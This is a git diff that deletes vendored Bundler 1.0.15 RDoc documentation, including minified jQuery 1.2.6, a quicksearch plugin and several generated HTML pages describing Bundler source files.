-(function(){var _jQuery=window.jQuery,_$=window.$;var jQuery=window.jQuery=window.$=function(selector,context){return new jQuery.fn.init(selector,context);};var quickExpr=/^[^<]*(<(.|\s)+>)[^>]*$|^#(\w+)$/,isSimple=/^.[^:#\[\.]*$/,undefined;jQuery.fn=jQuery.prototype={init:function(selector,context){selector=selector||document;if(selector.nodeType){this[0]=selector;this.length=1;return this;}if(typeof selector=="string"){var match=quickExpr.exec(selector);if(match&&(match[1]||!context)){if(match[1])selector=jQuery.clean([match[1]],context);else{var elem=document.getElementById(match[3]);if(elem){if(elem.id!=match[3])return jQuery().find(selector);return jQuery(elem);}selector=[];}}else
-return jQuery(context).find(selector);}else if(jQuery.isFunction(selector))return jQuery(document)[jQuery.fn.ready?"ready":"load"](selector);return this.setArray(jQuery.makeArray(selector));},jquery:"1.2.6",size:function(){return this.length;},length:0,get:function(num){return num==undefined?jQuery.makeArray(this):this[num];},pushStack:function(elems){var ret=jQuery(elems);ret.prevObject=this;return ret;},setArray:function(elems){this.length=0;Array.prototype.push.apply(this,elems);return this;},each:function(callback,args){return jQuery.each(this,callback,args);},index:function(elem){var ret=-1;return jQuery.inArray(elem&&elem.jquery?elem[0]:elem,this);},attr:function(name,value,type){var options=name;if(name.constructor==String)if(value===undefined)return this[0]&&jQuery[type||"attr"](this[0],name);else{options={};options[name]=value;}return this.each(function(i){for(name in options)jQuery.attr(type?this.style:this,name,jQuery.prop(this,options[name],type,i,name));});},css:function(key,value){if((key=='width'||key=='height')&&parseFloat(value)<0)value=undefined;return this.attr(key,value,"curCSS");},text:function(text){if(typeof text!="object"&&text!=null)return this.empty().append((this[0]&&this[0].ownerDocument||document).createTextNode(text));var ret="";jQuery.each(text||this,function(){jQuery.each(this.childNodes,function(){if(this.nodeType!=8)ret+=this.nodeType!=1?this.nodeValue:jQuery.fn.text([this]);});});return ret;},wrapAll:function(html){if(this[0])jQuery(html,this[0].ownerDocument).clone().insertBefore(this[0]).map(function(){var elem=this;while(elem.firstChild)elem=elem.firstChild;return elem;}).append(this);return this;},wrapInner:function(html){return this.each(function(){jQuery(this).contents().wrapAll(html);});},wrap:function(html){return this.each(function(){jQuery(this).wrapAll(html);});},append:function(){return this.domManip(arguments,true,false,function(elem){if(this.nodeType==1)this.appendChild(elem);});},prepend:function(){return this.domManip(arguments,true,true,function(elem){if(this.nodeType==1)this.insertBefore(elem,this.firstChild);});},before:function(){return this.domManip(arguments,false,false,function(elem){this.parentNode.insertBefore(elem,this);});},after:function(){return this.domManip(arguments,false,true,function(elem){this.parentNode.insertBefore(elem,this.nextSibling);});},end:function(){return this.prevObject||jQuery([]);},find:function(selector){var elems=jQuery.map(this,function(elem){return jQuery.find(selector,elem);});return this.pushStack(/[^+>] [^+>]/.test(selector)||selector.indexOf("..")>-1?jQuery.unique(elems):elems);},clone:function(events){var ret=this.map(function(){if(jQuery.browser.msie&&!jQuery.isXMLDoc(this)){var clone=this.cloneNode(true),container=document.createElement("div");container.appendChild(clone);return jQuery.clean([container.innerHTML])[0];}else
-return this.cloneNode(true);});var clone=ret.find("*").andSelf().each(function(){if(this[expando]!=undefined)this[expando]=null;});if(events===true)this.find("*").andSelf().each(function(i){if(this.nodeType==3)return;var events=jQuery.data(this,"events");for(var type in events)for(var handler in events[type])jQuery.event.add(clone[i],type,events[type][handler],events[type][handler].data);});return ret;},filter:function(selector){return this.pushStack(jQuery.isFunction(selector)&&jQuery.grep(this,function(elem,i){return selector.call(elem,i);})||jQuery.multiFilter(selector,this));},not:function(selector){if(selector.constructor==String)if(isSimple.test(selector))return this.pushStack(jQuery.multiFilter(selector,this,true));else
-selector=jQuery.multiFilter(selector,this);var isArrayLike=selector.length&&selector[selector.length-1]!==undefined&&!selector.nodeType;return this.filter(function(){return isArrayLike?jQuery.inArray(this,selector)<0:this!=selector;});},add:function(selector){return this.pushStack(jQuery.unique(jQuery.merge(this.get(),typeof selector=='string'?jQuery(selector):jQuery.makeArray(selector))));},is:function(selector){return!!selector&&jQuery.multiFilter(selector,this).length>0;},hasClass:function(selector){return this.is("."+selector);},val:function(value){if(value==undefined){if(this.length){var elem=this[0];if(jQuery.nodeName(elem,"select")){var index=elem.selectedIndex,values=[],options=elem.options,one=elem.type=="select-one";if(index<0)return null;for(var i=one?index:0,max=one?index+1:options.length;i<max;i++){var option=options[i];if(option.selected){value=jQuery.browser.msie&&!option.attributes.value.specified?option.text:option.value;if(one)return value;values.push(value);}}return values;}else
-return(this[0].value||"").replace(/\r/g,"");}return undefined;}if(value.constructor==Number)value+='';return this.each(function(){if(this.nodeType!=1)return;if(value.constructor==Array&&/radio|checkbox/.test(this.type))this.checked=(jQuery.inArray(this.value,value)>=0||jQuery.inArray(this.name,value)>=0);else if(jQuery.nodeName(this,"select")){var values=jQuery.makeArray(value);jQuery("option",this).each(function(){this.selected=(jQuery.inArray(this.value,values)>=0||jQuery.inArray(this.text,values)>=0);});if(!values.length)this.selectedIndex=-1;}else
-this.value=value;});},html:function(value){return value==undefined?(this[0]?this[0].innerHTML:null):this.empty().append(value);},replaceWith:function(value){return this.after(value).remove();},eq:function(i){return this.slice(i,i+1);},slice:function(){return this.pushStack(Array.prototype.slice.apply(this,arguments));},map:function(callback){return this.pushStack(jQuery.map(this,function(elem,i){return callback.call(elem,i,elem);}));},andSelf:function(){return this.add(this.prevObject);},data:function(key,value){var parts=key.split(".");parts[1]=parts[1]?"."+parts[1]:"";if(value===undefined){var data=this.triggerHandler("getData"+parts[1]+"!",[parts[0]]);if(data===undefined&&this.length)data=jQuery.data(this[0],key);return data===undefined&&parts[1]?this.data(parts[0]):data;}else
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-script.appendChild(document.createTextNode(data));head.insertBefore(script,head.firstChild);head.removeChild(script);}},nodeName:function(elem,name){return elem.nodeName&&elem.nodeName.toUpperCase()==name.toUpperCase();},cache:{},data:function(elem,name,data){elem=elem==window?windowData:elem;var id=elem[expando];if(!id)id=elem[expando]=++uuid;if(name&&!jQuery.cache[id])jQuery.cache[id]={};if(data!==undefined)jQuery.cache[id][name]=data;return name?jQuery.cache[id][name]:id;},removeData:function(elem,name){elem=elem==window?windowData:elem;var id=elem[expando];if(name){if(jQuery.cache[id]){delete jQuery.cache[id][name];name="";for(name in jQuery.cache[id])break;if(!name)jQuery.removeData(elem);}}else{try{delete elem[expando];}catch(e){if(elem.removeAttribute)elem.removeAttribute(expando);}delete jQuery.cache[id];}},each:function(object,callback,args){var name,i=0,length=object.length;if(args){if(length==undefined){for(name in object)if(callback.apply(object[name],args)===false)break;}else
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true;}};jQuery.extend(jQuery.fx,{speeds:{slow:600,fast:200,def:400},step:{scrollLeft:function(fx){fx.elem.scrollLeft=fx.now;},scrollTop:function(fx){fx.elem.scrollTop=fx.now;},opacity:function(fx){jQuery.attr(fx.elem.style,"opacity",fx.now);},_default:function(fx){fx.elem.style[fx.prop]=fx.now+fx.unit;}}});jQuery.fn.offset=function(){var left=0,top=0,elem=this[0],results;if(elem)with(jQuery.browser){var parent=elem.parentNode,offsetChild=elem,offsetParent=elem.offsetParent,doc=elem.ownerDocument,safari2=safari&&parseInt(version)<522&&!/adobeair/i.test(userAgent),css=jQuery.curCSS,fixed=css(elem,"position")=="fixed";if(elem.getBoundingClientRect){var box=elem.getBoundingClientRect();add(box.left+Math.max(doc.documentElement.scrollLeft,doc.body.scrollLeft),box.top+Math.max(doc.documentElement.scrollTop,doc.body.scrollTop));add(-doc.documentElement.clientLeft,-doc.documentElement.clientTop);}else{add(elem.offsetLeft,elem.offsetTop);while(offsetParent){add(offsetParent.offsetLeft,offsetParent.offsetTop);if(mozilla&&!/^t(able|d|h)$/i.test(offsetParent.tagName)||safari&&!safari2)border(offsetParent);if(!fixed&&css(offsetParent,"position")=="fixed")fixed=true;offsetChild=/^body$/i.test(offsetParent.tagName)?offsetChild:offsetParent;offsetParent=offsetParent.offsetParent;}while(parent&&parent.tagName&&!/^body|html$/i.test(parent.tagName)){if(!/^inline|table.*$/i.test(css(parent,"display")))add(-parent.scrollLeft,-parent.scrollTop);if(mozilla&&css(parent,"overflow")!="visible")border(parent);parent=parent.parentNode;}if((safari2&&(fixed||css(offsetChild,"position")=="absolute"))||(mozilla&&css(offsetChild,"position")!="absolute"))add(-doc.body.offsetLeft,-doc.body.offsetTop);if(fixed)add(Math.max(doc.documentElement.scrollLeft,doc.body.scrollLeft),Math.max(doc.documentElement.scrollTop,doc.body.scrollTop));}results={top:top,left:left};}function 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method='scroll'+name;jQuery.fn[method]=function(val){if(!this[0])return;return val!=undefined?this.each(function(){this==window||this==document?window.scrollTo(!i?val:jQuery(window).scrollLeft(),i?val:jQuery(window).scrollTop()):this[method]=val;}):this[0]==window||this[0]==document?self[i?'pageYOffset':'pageXOffset']||jQuery.boxModel&&document.documentElement[method]||document.body[method]:this[0][method];};});jQuery.each(["Height","Width"],function(i,name){var tl=i?"Left":"Top",br=i?"Right":"Bottom";jQuery.fn["inner"+name]=function(){return this[name.toLowerCase()]()+num(this,"padding"+tl)+num(this,"padding"+br);};jQuery.fn["outer"+name]=function(margin){return this["inner"+name]()+num(this,"border"+tl+"Width")+num(this,"border"+br+"Width")+(margin?num(this,"margin"+tl)+num(this,"margin"+br):0);};});})();
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diff --git a/vendor/plugins/bundler/doc/bundler-1.0.15/rdoc/js/quicksearch.js b/vendor/plugins/bundler/doc/bundler-1.0.15/rdoc/js/quicksearch.js
deleted file mode 100644
index 70dbd33c..00000000
--- a/vendor/plugins/bundler/doc/bundler-1.0.15/rdoc/js/quicksearch.js
+++ /dev/null
@@ -1,114 +0,0 @@
-/**
- *
- * JQuery QuickSearch - Hook up a form field to hide non-matching elements.
- * $Id: quicksearch.js 53 2009-01-07 02:52:03Z deveiant $
- *
- * Author: Michael Granger <mgranger@laika.com>
- *
- */
-jQuery.fn.quicksearch = function( target, searchElems, options ) {
-	// console.debug( "Quicksearch fn" );
-
-	var settings = {
-		delay: 250,
-		clearButton: false,
-		highlightMatches: false,
-		focusOnLoad: false,
-		noSearchResultsIndicator: null
-	};
-	if ( options ) $.extend( settings, options );
-
-	return jQuery(this).each( function() {
-		// console.debug( "Creating a new quicksearch on %o for %o", this, searchElems );
-		new jQuery.quicksearch( this, searchElems, settings );
-	});
-};
-
-
-jQuery.quicksearch = function( searchBox, searchElems, settings ) {
-	var timeout;
-	var boxdiv = $(searchBox).parents('div').eq(0);
-
-	function init() {
-		setupKeyEventHandlers();
-		focusOnLoad();
-	};
-
-	function setupKeyEventHandlers() {
-		// console.debug( "Hooking up the 'keypress' event to %o", searchBox );
-		$(searchBox).
-			unbind( 'keyup' ).
-			keyup( function(e) { return onSearchKey( e.keyCode ); });
-		$(searchBox).
-			unbind( 'keypress' ).
-			keypress( function(e) {
-				switch( e.which ) {
-					// Execute the search on Enter, Tab, or Newline
-					case 9:
-					case 13:
-					case 10:
-						clearTimeout( timeout );
-						e.preventDefault();
-						doQuickSearch();
-						break;
-
-					// Allow backspace
-					case 8:
-						return true;
-						break;
-
-					// Only allow valid search characters
-					default:
-						return validQSChar( e.charCode );
-				}
-			});
-	};
-
-	function focusOnLoad() {
-		if ( !settings.focusOnLoad ) return false;
-		$(searchBox).focus();
-	};
-
-	function onSearchKey ( code ) {
-		clearTimeout( timeout );
-		// console.debug( "...scheduling search." );
-		timeout = setTimeout( doQuickSearch, settings.delay );
-	};
-
-	function validQSChar( code ) {
-		var c = String.fromCharCode( code );
-		return (
-			(c == ':') ||
-			(c >= 'a' && c <= 'z') ||
-			(c >= 'A' && c <= 'Z')
-		  );
-	};
-
-	function doQuickSearch() {
-		var searchText = searchBox.value;
-		var pat = new RegExp( searchText, "im" );
-		var shownCount = 0;
-
-		if ( settings.noSearchResultsIndicator ) {
-			$('#' + settings.noSearchResultsIndicator).hide();
-		}
-
-		// All elements start out hidden
-		$(searchElems).each( function(index) {
-			var str = $(this).text();
-
-			if ( pat.test(str) ) {
-				shownCount += 1;
-				$(this).fadeIn();
-			} else {
-				$(this).hide();
-			}
-		});
-
-		if ( shownCount == 0 && settings.noSearchResultsIndicator ) {
-			$('#' + settings.noSearchResultsIndicator).slideDown();
-		}
-	};
-
-	init();
-};
diff --git a/vendor/plugins/bundler/doc/bundler-1.0.15/rdoc/js/thickbox-compressed.js b/vendor/plugins/bundler/doc/bundler-1.0.15/rdoc/js/thickbox-compressed.js
deleted file mode 100644
index 3a3fdae1..00000000
--- a/vendor/plugins/bundler/doc/bundler-1.0.15/rdoc/js/thickbox-compressed.js
+++ /dev/null
@@ -1,10 +0,0 @@
-/*
- * Thickbox 3 - One Box To Rule Them All.
- * By Cody Lindley (http://www.codylindley.com)
- * Copyright (c) 2007 cody lindley
- * Licensed under the MIT License: http://www.opensource.org/licenses/mit-license.php
-*/
-
-var tb_pathToImage = "../images/loadingAnimation.gif";
-
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diff --git a/vendor/plugins/bundler/doc/bundler-1.0.15/rdoc/lib/bundler/capistrano_rb.html b/vendor/plugins/bundler/doc/bundler-1.0.15/rdoc/lib/bundler/capistrano_rb.html
deleted file mode 100644
index bcd0890f..00000000
--- a/vendor/plugins/bundler/doc/bundler-1.0.15/rdoc/lib/bundler/capistrano_rb.html
+++ /dev/null
@@ -1,62 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
-	"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
-
-<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
-<head>
-	<meta content="text/html; charset=utf-8" http-equiv="Content-Type" />
-
-	<title>File: capistrano.rb [bundler-1.0.15 Documentation]</title>
-
-	<link type="text/css" media="screen" href="../../rdoc.css" rel="stylesheet" />
-
-	<script src="../../js/jquery.js" type="text/javascript"
-		charset="utf-8"></script>
-	<script src="../../js/thickbox-compressed.js" type="text/javascript"
-		charset="utf-8"></script>
-	<script src="../../js/quicksearch.js" type="text/javascript"
-		charset="utf-8"></script>
-	<script src="../../js/darkfish.js" type="text/javascript"
-		charset="utf-8"></script>
-</head>
-
-<body class="file file-popup">
-	<div id="metadata">
-		<dl>
-			<dt class="modified-date">Last Modified</dt>
-			<dd class="modified-date">Tue Jun 14 09:52:47 -0500 2011</dd>
-
-			
-			<dt class="requires">Requires</dt>
-			<dd class="requires">
-				<ul>
-				
-					<li>bundler/deployment</li>
-				
-				</ul>
-			</dd>
-			
-
-			
-		</dl>
-	</div>
-
-	<div id="documentation">
-		
-		<div class="description">
-			<h2>Description</h2>
-			<p>
-Capistrano task for <a href="../../Bundler.html">Bundler</a>.
-</p>
-<p>
-Just add &#8220;require &#8216;bundler/capistrano&#8217;&#8221; in your
-Capistrano deploy.rb, and <a href="../../Bundler.html">Bundler</a> will be
-activated after each new deployment.
-</p>
-
-		</div>
-		
-	</div>
-</body>
-</html>
-
diff --git a/vendor/plugins/bundler/doc/bundler-1.0.15/rdoc/lib/bundler/cli_rb.html b/vendor/plugins/bundler/doc/bundler-1.0.15/rdoc/lib/bundler/cli_rb.html
deleted file mode 100644
index 36c964e6..00000000
--- a/vendor/plugins/bundler/doc/bundler-1.0.15/rdoc/lib/bundler/cli_rb.html
+++ /dev/null
@@ -1,62 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
-	"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
-
-<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
-<head>
-	<meta content="text/html; charset=utf-8" http-equiv="Content-Type" />
-
-	<title>File: cli.rb [bundler-1.0.15 Documentation]</title>
-
-	<link type="text/css" media="screen" href="../../rdoc.css" rel="stylesheet" />
-
-	<script src="../../js/jquery.js" type="text/javascript"
-		charset="utf-8"></script>
-	<script src="../../js/thickbox-compressed.js" type="text/javascript"
-		charset="utf-8"></script>
-	<script src="../../js/quicksearch.js" type="text/javascript"
-		charset="utf-8"></script>
-	<script src="../../js/darkfish.js" type="text/javascript"
-		charset="utf-8"></script>
-</head>
-
-<body class="file file-popup">
-	<div id="metadata">
-		<dl>
-			<dt class="modified-date">Last Modified</dt>
-			<dd class="modified-date">Tue Jun 14 09:52:47 -0500 2011</dd>
-
-			
-			<dt class="requires">Requires</dt>
-			<dd class="requires">
-				<ul>
-				
-					<li>thor</li>
-				
-					<li>thor/actions</li>
-				
-					<li>rubygems/user_interaction</li>
-				
-					<li>rubygems/config_file</li>
-				
-					<li>irb</li>
-				
-				</ul>
-			</dd>
-			
-
-			
-		</dl>
-	</div>
-
-	<div id="documentation">
-		
-		<div class="description">
-			<h2>Description</h2>
-			
-		</div>
-		
-	</div>
-</body>
-</html>
-
diff --git a/vendor/plugins/bundler/doc/bundler-1.0.15/rdoc/lib/bundler/definition_rb.html b/vendor/plugins/bundler/doc/bundler-1.0.15/rdoc/lib/bundler/definition_rb.html
deleted file mode 100644
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+++ /dev/null
@@ -1,54 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
-	"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
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-<head>
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-	<title>File: definition.rb [bundler-1.0.15 Documentation]</title>
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-	<link type="text/css" media="screen" href="../../rdoc.css" rel="stylesheet" />
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-	<script src="../../js/jquery.js" type="text/javascript"
-		charset="utf-8"></script>
-	<script src="../../js/thickbox-compressed.js" type="text/javascript"
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-	<script src="../../js/quicksearch.js" type="text/javascript"
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-	<script src="../../js/darkfish.js" type="text/javascript"
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-</head>
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-<body class="file file-popup">
-	<div id="metadata">
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-			<dt class="modified-date">Last Modified</dt>
-			<dd class="modified-date">Tue Jun 14 09:52:47 -0500 2011</dd>
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-			<dt class="requires">Requires</dt>
-			<dd class="requires">
-				<ul>
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diff --git a/vendor/plugins/bundler/doc/bundler-1.0.15/rdoc/lib/bundler/dependency_rb.html b/vendor/plugins/bundler/doc/bundler-1.0.15/rdoc/lib/bundler/dependency_rb.html
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@@ -1,58 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
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-<head>
-	<meta content="text/html; charset=utf-8" http-equiv="Content-Type" />
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-	<title>File: dependency.rb [bundler-1.0.15 Documentation]</title>
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-	<link type="text/css" media="screen" href="../../rdoc.css" rel="stylesheet" />
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-	<script src="../../js/jquery.js" type="text/javascript"
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-	<script src="../../js/thickbox-compressed.js" type="text/javascript"
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-<body class="file file-popup">
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-			<dd class="modified-date">Tue Jun 14 09:52:47 -0500 2011</dd>
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-			<dd class="requires">
-				<ul>
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-					<li>rubygems/dependency</li>
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diff --git a/vendor/plugins/bundler/doc/bundler-1.0.15/rdoc/lib/bundler/deployment_rb.html b/vendor/plugins/bundler/doc/bundler-1.0.15/rdoc/lib/bundler/deployment_rb.html
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-<?xml version="1.0" encoding="utf-8"?>
-<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
-	"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
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-<head>
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-	<title>File: deployment.rb [bundler-1.0.15 Documentation]</title>
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-	<link type="text/css" media="screen" href="../../rdoc.css" rel="stylesheet" />
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-	<script src="../../js/jquery.js" type="text/javascript"
-		charset="utf-8"></script>
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-		charset="utf-8"></script>
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-	<script src="../../js/darkfish.js" type="text/javascript"
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-<body class="file file-popup">
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diff --git a/vendor/plugins/bundler/doc/bundler-1.0.15/rdoc/lib/bundler/dsl_rb.html b/vendor/plugins/bundler/doc/bundler-1.0.15/rdoc/lib/bundler/dsl_rb.html
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@@ -1,54 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
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-<head>
-	<meta content="text/html; charset=utf-8" http-equiv="Content-Type" />
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-	<title>File: dsl.rb [bundler-1.0.15 Documentation]</title>
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-	<link type="text/css" media="screen" href="../../rdoc.css" rel="stylesheet" />
-
-	<script src="../../js/jquery.js" type="text/javascript"
-		charset="utf-8"></script>
-	<script src="../../js/thickbox-compressed.js" type="text/javascript"
-		charset="utf-8"></script>
-	<script src="../../js/quicksearch.js" type="text/javascript"
-		charset="utf-8"></script>
-	<script src="../../js/darkfish.js" type="text/javascript"
-		charset="utf-8"></script>
-</head>
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-<body class="file file-popup">
-	<div id="metadata">
-		<dl>
-			<dt class="modified-date">Last Modified</dt>
-			<dd class="modified-date">Tue Jun 14 09:52:47 -0500 2011</dd>
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-			
-			<dt class="requires">Requires</dt>
-			<dd class="requires">
-				<ul>
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-					<li>bundler/dependency</li>
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diff --git a/vendor/plugins/bundler/doc/bundler-1.0.15/rdoc/lib/bundler/environment_rb.html b/vendor/plugins/bundler/doc/bundler-1.0.15/rdoc/lib/bundler/environment_rb.html
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+++ /dev/null
@@ -1,52 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
-	"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
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-<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
-<head>
-	<meta content="text/html; charset=utf-8" http-equiv="Content-Type" />
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-	<title>File: environment.rb [bundler-1.0.15 Documentation]</title>
-
-	<link type="text/css" media="screen" href="../../rdoc.css" rel="stylesheet" />
-
-	<script src="../../js/jquery.js" type="text/javascript"
-		charset="utf-8"></script>
-	<script src="../../js/thickbox-compressed.js" type="text/javascript"
-		charset="utf-8"></script>
-	<script src="../../js/quicksearch.js" type="text/javascript"
-		charset="utf-8"></script>
-	<script src="../../js/darkfish.js" type="text/javascript"
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-</head>
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-<body class="file file-popup">
-	<div id="metadata">
-		<dl>
-			<dt class="modified-date">Last Modified</dt>
-			<dd class="modified-date">Tue Jun 14 09:52:47 -0500 2011</dd>
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diff --git a/vendor/plugins/bundler/doc/bundler-1.0.15/rdoc/lib/bundler/gem_helper_rb.html b/vendor/plugins/bundler/doc/bundler-1.0.15/rdoc/lib/bundler/gem_helper_rb.html
deleted file mode 100644
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@@ -1,56 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
-	"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
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-<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
-<head>
-	<meta content="text/html; charset=utf-8" http-equiv="Content-Type" />
-
-	<title>File: gem_helper.rb [bundler-1.0.15 Documentation]</title>
-
-	<link type="text/css" media="screen" href="../../rdoc.css" rel="stylesheet" />
-
-	<script src="../../js/jquery.js" type="text/javascript"
-		charset="utf-8"></script>
-	<script src="../../js/thickbox-compressed.js" type="text/javascript"
-		charset="utf-8"></script>
-	<script src="../../js/quicksearch.js" type="text/javascript"
-		charset="utf-8"></script>
-	<script src="../../js/darkfish.js" type="text/javascript"
-		charset="utf-8"></script>
-</head>
-
-<body class="file file-popup">
-	<div id="metadata">
-		<dl>
-			<dt class="modified-date">Last Modified</dt>
-			<dd class="modified-date">Tue Jun 14 09:52:47 -0500 2011</dd>
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-			
-			<dt class="requires">Requires</dt>
-			<dd class="requires">
-				<ul>
-				
-					<li>thor</li>
-				
-					<li>bundler</li>
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-		</dl>
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-			<h2>Description</h2>
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diff --git a/vendor/plugins/bundler/doc/bundler-1.0.15/rdoc/lib/bundler/gem_tasks_rb.html b/vendor/plugins/bundler/doc/bundler-1.0.15/rdoc/lib/bundler/gem_tasks_rb.html
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+++ /dev/null
@@ -1,54 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
-	"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
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-<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
-<head>
-	<meta content="text/html; charset=utf-8" http-equiv="Content-Type" />
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-	<title>File: gem_tasks.rb [bundler-1.0.15 Documentation]</title>
-
-	<link type="text/css" media="screen" href="../../rdoc.css" rel="stylesheet" />
-
-	<script src="../../js/jquery.js" type="text/javascript"
-		charset="utf-8"></script>
-	<script src="../../js/thickbox-compressed.js" type="text/javascript"
-		charset="utf-8"></script>
-	<script src="../../js/quicksearch.js" type="text/javascript"
-		charset="utf-8"></script>
-	<script src="../../js/darkfish.js" type="text/javascript"
-		charset="utf-8"></script>
-</head>
-
-<body class="file file-popup">
-	<div id="metadata">
-		<dl>
-			<dt class="modified-date">Last Modified</dt>
-			<dd class="modified-date">Tue Jun 14 09:52:47 -0500 2011</dd>
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-			
-			<dt class="requires">Requires</dt>
-			<dd class="requires">
-				<ul>
-				
-					<li>bundler/gem_helper</li>
-				
-				</ul>
-			</dd>
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-			
-		</dl>
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-			<h2>Description</h2>
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-		</div>
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-</html>
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diff --git a/vendor/plugins/bundler/doc/bundler-1.0.15/rdoc/lib/bundler/graph_rb.html b/vendor/plugins/bundler/doc/bundler-1.0.15/rdoc/lib/bundler/graph_rb.html
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+++ /dev/null
@@ -1,54 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
-	"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
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-<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
-<head>
-	<meta content="text/html; charset=utf-8" http-equiv="Content-Type" />
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-	<title>File: graph.rb [bundler-1.0.15 Documentation]</title>
-
-	<link type="text/css" media="screen" href="../../rdoc.css" rel="stylesheet" />
-
-	<script src="../../js/jquery.js" type="text/javascript"
-		charset="utf-8"></script>
-	<script src="../../js/thickbox-compressed.js" type="text/javascript"
-		charset="utf-8"></script>
-	<script src="../../js/quicksearch.js" type="text/javascript"
-		charset="utf-8"></script>
-	<script src="../../js/darkfish.js" type="text/javascript"
-		charset="utf-8"></script>
-</head>
-
-<body class="file file-popup">
-	<div id="metadata">
-		<dl>
-			<dt class="modified-date">Last Modified</dt>
-			<dd class="modified-date">Tue Jun 14 09:52:47 -0500 2011</dd>
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-			
-			<dt class="requires">Requires</dt>
-			<dd class="requires">
-				<ul>
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-					<li>graphviz</li>
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-	<div id="documentation">
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-			<h2>Description</h2>
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diff --git a/vendor/plugins/bundler/doc/bundler-1.0.15/rdoc/lib/bundler/index_rb.html b/vendor/plugins/bundler/doc/bundler-1.0.15/rdoc/lib/bundler/index_rb.html
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+++ /dev/null
@@ -1,52 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
-	"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
-
-<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
-<head>
-	<meta content="text/html; charset=utf-8" http-equiv="Content-Type" />
-
-	<title>File: index.rb [bundler-1.0.15 Documentation]</title>
-
-	<link type="text/css" media="screen" href="../../rdoc.css" rel="stylesheet" />
-
-	<script src="../../js/jquery.js" type="text/javascript"
-		charset="utf-8"></script>
-	<script src="../../js/thickbox-compressed.js" type="text/javascript"
-		charset="utf-8"></script>
-	<script src="../../js/quicksearch.js" type="text/javascript"
-		charset="utf-8"></script>
-	<script src="../../js/darkfish.js" type="text/javascript"
-		charset="utf-8"></script>
-</head>
-
-<body class="file file-popup">
-	<div id="metadata">
-		<dl>
-			<dt class="modified-date">Last Modified</dt>
-			<dd class="modified-date">Tue Jun 14 09:52:47 -0500 2011</dd>
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-			
-			<dt class="requires">Requires</dt>
-			<dd class="requires">
-				<ul>
-				
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-			
-		</dl>
-	</div>
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-	<div id="documentation">
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-		<div class="description">
-			<h2>Description</h2>
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diff --git a/vendor/plugins/bundler/doc/bundler-1.0.15/rdoc/lib/bundler/installer_rb.html b/vendor/plugins/bundler/doc/bundler-1.0.15/rdoc/lib/bundler/installer_rb.html
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+++ /dev/null
@@ -1,56 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
-	"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
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-<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
-<head>
-	<meta content="text/html; charset=utf-8" http-equiv="Content-Type" />
-
-	<title>File: installer.rb [bundler-1.0.15 Documentation]</title>
-
-	<link type="text/css" media="screen" href="../../rdoc.css" rel="stylesheet" />
-
-	<script src="../../js/jquery.js" type="text/javascript"
-		charset="utf-8"></script>
-	<script src="../../js/thickbox-compressed.js" type="text/javascript"
-		charset="utf-8"></script>
-	<script src="../../js/quicksearch.js" type="text/javascript"
-		charset="utf-8"></script>
-	<script src="../../js/darkfish.js" type="text/javascript"
-		charset="utf-8"></script>
-</head>
-
-<body class="file file-popup">
-	<div id="metadata">
-		<dl>
-			<dt class="modified-date">Last Modified</dt>
-			<dd class="modified-date">Tue Jun 14 09:52:47 -0500 2011</dd>
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-			
-			<dt class="requires">Requires</dt>
-			<dd class="requires">
-				<ul>
-				
-					<li>erb</li>
-				
-					<li>rubygems/dependency_installer</li>
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-		</dl>
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-	<div id="documentation">
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-		<div class="description">
-			<h2>Description</h2>
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-</body>
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diff --git a/vendor/plugins/bundler/doc/bundler-1.0.15/rdoc/lib/bundler/lazy_specification_rb.html b/vendor/plugins/bundler/doc/bundler-1.0.15/rdoc/lib/bundler/lazy_specification_rb.html
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+++ /dev/null
@@ -1,56 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
